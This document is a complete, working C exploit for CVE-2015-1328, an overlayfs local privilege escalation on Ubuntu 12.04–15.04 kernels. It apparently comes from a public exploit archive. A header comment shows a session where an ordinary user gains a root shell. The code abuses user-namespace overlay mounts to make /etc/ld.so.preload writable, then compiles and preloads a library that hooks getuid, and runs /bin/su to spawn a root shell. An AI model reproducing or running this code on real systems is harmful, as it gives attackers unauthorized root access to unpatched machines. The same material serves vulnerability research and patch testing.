Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation

/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

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CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
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*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}